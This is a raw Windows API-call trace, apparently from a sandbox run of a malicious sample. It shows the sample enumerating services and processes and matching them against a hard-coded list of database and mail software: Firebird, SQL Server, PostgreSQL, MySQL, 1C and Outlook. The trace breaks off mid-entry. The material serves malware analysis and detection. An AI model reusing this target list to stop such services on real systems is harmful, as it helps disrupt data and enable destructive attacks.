[0064.707] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0064.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0064.707] lstrlenW (lpString="CscService") returned 10 [0064.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0064.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0064.707] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0064.707] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0064.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0064.708] lstrlenW (lpString="DcomLaunch") returned 10 [0064.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0064.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0064.708] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0064.708] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0064.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0064.708] lstrlenW (lpString="Dhcp") returned 4 [0064.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0064.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0064.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0064.708] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0064.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0064.708] lstrlenW (lpString="Dnscache") returned 8 [0064.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0064.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0064.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0064.708] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0064.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0064.708] lstrlenW (lpString="DPS") returned 3 [0064.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0064.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0064.708] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0064.708] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0064.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0064.708] lstrlenW (lpString="eventlog") returned 8 [0064.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0064.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0064.708] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0064.708] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0064.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0064.708] lstrlenW (lpString="EventSystem") returned 11 [0064.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0064.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0064.709] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0064.709] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0064.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0064.709] lstrlenW (lpString="gpsvc") returned 5 [0064.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0064.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0064.709] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0064.709] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0064.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0064.709] lstrlenW (lpString="iphlpsvc") returned 8 [0064.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0064.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0064.709] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0064.709] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0064.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0064.709] lstrlenW (lpString="LanmanServer") returned 12 [0064.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0064.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0064.709] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0064.709] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0064.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0064.709] lstrlenW (lpString="LanmanWorkstation") returned 17 [0064.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0064.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0064.709] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0064.709] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0064.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0064.709] lstrlenW (lpString="lmhosts") returned 7 [0064.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0064.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0064.709] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0064.710] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0064.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0064.710] lstrlenW (lpString="MMCSS") returned 5 [0064.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0064.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0064.710] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0064.710] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0064.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0064.710] lstrlenW (lpString="MpsSvc") returned 6 [0064.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0064.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0064.710] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0064.710] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0064.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0064.710] lstrlenW (lpString="Netman") returned 6 [0064.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0064.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0064.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0064.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0064.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0064.710] lstrlenW (lpString="netprofm") returned 8 [0064.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0064.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0064.710] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0064.710] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0064.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0064.710] lstrlenW (lpString="NlaSvc") returned 6 [0064.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0064.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0064.710] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0064.710] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0064.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0064.710] lstrlenW (lpString="nsi") returned 3 [0064.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0064.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0064.711] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0064.711] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0064.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0064.711] lstrlenW (lpString="PcaSvc") returned 6 [0064.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0064.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0064.711] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0064.711] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0064.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0064.711] lstrlenW (lpString="PlugPlay") returned 8 [0064.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0064.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0064.711] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0064.711] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0064.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0064.711] lstrlenW (lpString="Power") returned 5 [0064.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0064.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0064.711] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0064.711] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0064.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0064.711] lstrlenW (lpString="ProfSvc") returned 7 [0064.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0064.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0064.711] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0064.711] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0064.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0064.711] lstrlenW (lpString="RpcEptMapper") returned 12 [0064.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0064.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0064.711] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0064.712] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0064.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0064.712] lstrlenW (lpString="RpcSs") returned 5 [0064.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0064.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0064.712] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0064.712] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0064.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0064.712] lstrlenW (lpString="SamSs") returned 5 [0064.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0064.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0064.712] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0064.712] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0064.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0064.712] lstrlenW (lpString="Schedule") returned 8 [0064.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0064.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0064.712] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0064.712] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0064.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0064.712] lstrlenW (lpString="SENS") returned 4 [0064.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0064.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0064.712] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0064.712] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0064.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0064.712] lstrlenW (lpString="ShellHWDetection") returned 16 [0064.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0064.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0064.712] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0064.713] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0064.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0064.713] lstrlenW (lpString="Spooler") returned 7 [0064.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0064.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0064.713] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0064.713] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0064.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0064.713] lstrlenW (lpString="swprv") returned 5 [0064.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0064.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0064.713] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0064.713] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0064.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0064.713] lstrlenW (lpString="SysMain") returned 7 [0064.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0064.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0064.713] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0064.713] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0064.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0064.713] lstrlenW (lpString="Themes") returned 6 [0064.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0064.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0064.713] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0064.713] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0064.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0064.713] lstrlenW (lpString="TrkWks") returned 6 [0064.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0064.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0064.713] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0064.713] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0064.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0064.714] lstrlenW (lpString="UxSms") returned 5 [0064.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0064.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0064.714] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0064.714] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0064.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0064.714] lstrlenW (lpString="VSS") returned 3 [0064.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0064.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0064.714] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0064.714] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0064.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0064.714] lstrlenW (lpString="WdiServiceHost") returned 14 [0064.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0064.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0064.714] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0064.714] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0064.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0064.714] lstrlenW (lpString="WdiSystemHost") returned 13 [0064.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0064.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0064.714] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0064.714] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0064.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0064.714] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0064.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0064.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0064.714] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0064.714] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0064.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0064.714] lstrlenW (lpString="Winmgmt") returned 7 [0064.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0064.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0064.715] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0064.715] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0064.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0064.715] lstrlenW (lpString="WPDBusEnum") returned 10 [0064.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0064.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0064.715] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0064.715] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0064.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0064.715] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f93008 | out: hHeap=0x5a0000) returned 1 [0064.715] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c [0064.717] Process32FirstW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0064.719] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0064.720] lstrlenW (lpString="System") returned 6 [0064.720] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0064.720] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0064.720] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0064.720] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0064.720] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0064.720] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0064.720] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0064.720] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0064.721] lstrlenW (lpString="smss.exe") returned 8 [0064.721] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0064.721] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0064.721] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0064.721] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0064.721] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0064.721] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0064.721] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0064.721] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0064.721] lstrlenW (lpString="csrss.exe") returned 9 [0064.721] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0064.721] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0064.721] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0064.721] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0064.721] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0064.721] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0064.721] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0064.721] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0064.722] lstrlenW (lpString="wininit.exe") returned 11 [0064.722] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0064.722] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0064.722] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0064.722] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0064.723] lstrlenW (lpString="csrss.exe") returned 9 [0064.723] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0064.723] lstrlenW (lpString="winlogon.exe") returned 12 [0064.723] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0064.724] lstrlenW (lpString="services.exe") returned 12 [0064.724] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0064.724] lstrlenW (lpString="lsass.exe") returned 9 [0064.725] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0064.725] lstrlenW (lpString="lsm.exe") returned 7 [0064.725] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.726] lstrlenW (lpString="svchost.exe") returned 11 [0064.726] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.726] lstrlenW (lpString="svchost.exe") returned 11 [0064.726] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.727] lstrlenW (lpString="svchost.exe") returned 11 [0064.727] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.727] lstrlenW (lpString="svchost.exe") returned 11 [0064.727] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.728] lstrlenW (lpString="svchost.exe") returned 11 [0064.728] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: 